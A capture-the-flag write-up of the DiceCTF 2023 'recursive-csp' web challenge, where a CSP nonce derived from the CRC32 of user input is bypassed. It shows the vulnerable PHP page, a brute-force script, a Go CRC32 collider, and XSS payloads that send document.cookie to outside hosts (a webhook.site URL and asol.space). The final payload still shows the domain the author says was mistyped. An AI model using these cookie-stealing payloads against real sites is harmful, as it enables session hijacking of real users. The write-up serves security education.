Recursive-csp - DiceCTF 2023

Lu513n
2023-02-07
Web

tl;dr

  • craft a payload with a random nonce
  • use hash-collider to collide the nonce we gave earlier

Challenge Points: 115
No. of solves: 178
Solved by: Lu513n

Description

the nonce isn’t random, so how hard could this be?

(the flag is in the admin bot’s cookie)

Solution

Understanding the challenge

Here we get the source for \?source 

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<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, <?php echo $name ?>!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    <!-- /?source -->
  </body>
</html>

It’s a simple XSS Challenge in PHP. The catch is that there is a nonce that prevents us from getting XSS directly and the nonce is basically the crc32 hash of our payload. But our payload must contain the nonce

Basically We should have the crc32 hash of the WHOLE MESSAGE inside the MESSAGE

Trying the Bruteforce

For a while, we were trying to brute force the nonce, hoping it will be the same at least one time since the crc32 has only 8 bytes.

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<?php
for ($i = 0; $i <= 0xffffffff; $i++) {
  $x=sprintf("%08x", $i);
  $y='<script nonce="'.$x.'">window.location="https://webhook.site/a0a221c5-6a61-4ff6-a1f5-438ed5ce9403/?x="+document.cookie</script>';
  echo $y;

  $z=hash("crc32b", $y);

  if($z===$x){
    echo "found";
    exit();
  }

  echo "\n";
}
?>

But this never worked out :cry:

We tried this so for so long and while it was running we searched for other ways.

Trying the collider

So we searched for crc32 collissions and got this

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func AddLetter(c chan string, combo string, alphabet string, length int) {
        // Check if we reached the length limit
        // If so, we just return without adding anything
        if length <= 0 {
                return
        }

        var newCombo string
        for _, ch := range alphabet {
                newCombo = combo + string(ch)
                c <- newCombo
                AddLetter(c, newCombo, alphabet, length-1)
        }
}

func worker(wChan chan string, target uint32) {
        for tString := range wChan {
                if crc32.ChecksumIEEE([]byte(tString)) == target {
                        fmt.Println("Collision found:", tString)
                }
        }
}

This is just a crc32 hash collider written in go. It will start with a String and append as many characters as maxLen would allow and try if the hash matches. So all that was left was for us to decide on a nonce and give its corresponding integer as the target in the code.

Note: Here we had to use a domain as the payload can only contain 127 characters and if we use webhook url we won’t have enough charcters left to bruteforce

By running the code on 16 different laptops with 16 cores with 16 different nonces, we were able to collide it just in time.

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<script nonce="e6377dcb">window.location="http://asol.space?x="+document.cookie</script>000000000000000000000000000000000048io

But we made one mistake in the domain to which the flag is sent. Where the domain was supposed to be https://axol.space I put https://asol.space :sob:

Now we had to put the correct domain and hash it again. This time it took even longer. It took so much time that we were just going to buy https://asol.space. But we collided that payload too and finally got the flag

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<script nonce="e6377dcb">window.location="http://asol.space?x="+document.cookie</script>0000000000hytza

Flag: dice{h0pe_that_d1dnt_take_too_l0ng}

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